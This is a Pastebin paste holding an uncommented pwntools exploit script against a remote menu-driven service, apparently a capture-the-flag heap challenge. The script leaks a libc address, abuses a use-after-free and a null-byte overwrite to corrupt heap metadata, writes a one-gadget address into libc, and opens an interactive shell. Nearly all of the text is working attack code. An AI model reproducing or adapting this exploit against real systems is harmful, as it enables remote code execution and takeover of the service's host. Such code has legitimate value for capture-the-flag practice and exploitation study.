Guest User

Untitled

a guest
Nov 21st, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. from pwn import *
  2.  
  3. #s = remote('192.168.0.12',1234)
  4. s =remote('10.10.134.127', 30004)
  5. def add(name):
  6. s.recvuntil('>>>')
  7. s.sendline('1')
  8. s.recvuntil('name')
  9. s.send(name)
  10.  
  11. def select(index):
  12. s.recvuntil('>>>')
  13. s.sendline('2')
  14. s.recvuntil('>>>')
  15. s.sendline(str(index))
  16.  
  17. def delete():
  18. s.recvuntil('>>>')
  19. s.sendline('3')
  20. s.recvuntil('action')
  21. s.sendline('-1')
  22.  
  23. def show():
  24. s.recvuntil('>>>')
  25. s.sendline('3')
  26.  
  27. def add_unit(name):
  28. s.recvuntil('>>>')
  29. s.sendline('1')
  30. s.recvuntil('name')
  31. s.send(name)
  32.  
  33. def uaf():
  34. s.recvuntil('>>>')
  35. s.sendline('3')
  36. s.recvuntil('action :')
  37. s.sendline('21')
  38. s.recvuntil('action :')
  39. s.sendline('1')
  40. s.recvuntil('action :')
  41. s.sendline('1')
  42. s.recvuntil('action :')
  43. s.sendline('1')
  44. # s.recvuntil('action :')
  45. # s.sendline('0')
  46.  
  47. def out():
  48. s.recvuntil('>>>')
  49. s.sendline('5')
  50.  
  51. def delete_unit(index):
  52. s.recvuntil('>>>')
  53. s.sendline('2')
  54. s.recvuntil('>>>')
  55. s.sendline(str(index))
  56.  
  57. def poison_null(dat):
  58. s.recvuntil('>>>')
  59. s.sendline('3')
  60. s.recvuntil('action :')
  61. s.sendline('21')
  62. s.recvuntil('action :')
  63. s.sendline('0')
  64. s.recvuntil('hero!')
  65. s.send(dat)
  66.  
  67. raw_input()
  68. s.recvuntil('>>>')
  69. s.send("AAAA")
  70. # show me the money
  71. s.recvuntil('>>>')
  72. s.sendline('4444')
  73. s.recvuntil('>>>')
  74. s.sendline('show me the money!')
  75. add("AAAA")
  76. add("AAAA")
  77. select(0)
  78. delete()
  79. add('A')
  80. show()
  81. libc = u64(s.recvuntil('[ 1]')[-7-6:-7]+'\x00\x00') - 0x3c4b41
  82. log.info("LIBC : 0x%x"%libc)
  83. select(0)
  84. add_unit('ABCD')
  85. add_unit('ABCD')
  86. add_unit('ABCD')
  87. out()
  88. raw_input()
  89. add('BBBB')
  90. select(0)
  91. uaf()
  92. out()
  93. select(2)
  94. delete()
  95. add('BBBB')
  96. select(0)
  97. s.recvuntil('>>>')
  98. s.sendline('3')
  99. s.recvuntil('action :')
  100. s.sendline('21')
  101. s.recvuntil('action :')
  102. s.sendline('16')
  103. s.recvuntil('hero')
  104. s.sendline('A'*0x10)
  105. s.recvuntil('action :')
  106. s.sendline('16')
  107. s.recvuntil('hero')
  108. s.sendline('A'*0x10)
  109. s.recvuntil('action :')
  110. s.sendline('16')
  111. s.recvuntil('hero')
  112. s.send("A"*0x10+p64(libc+0x3c67a8-0x50))
  113. out()
  114. select(2)
  115. s.recvuntil('>>>')
  116. s.sendline('3')
  117. s.recvuntil('action :')
  118. s.sendline('21')
  119. s.recvuntil('action :')
  120. s.sendline('16')
  121. s.recvuntil('hero')
  122. s.send(p64(libc+0x4526a))
  123. s.interactive()
Add Comment
Please, Sign In to add comment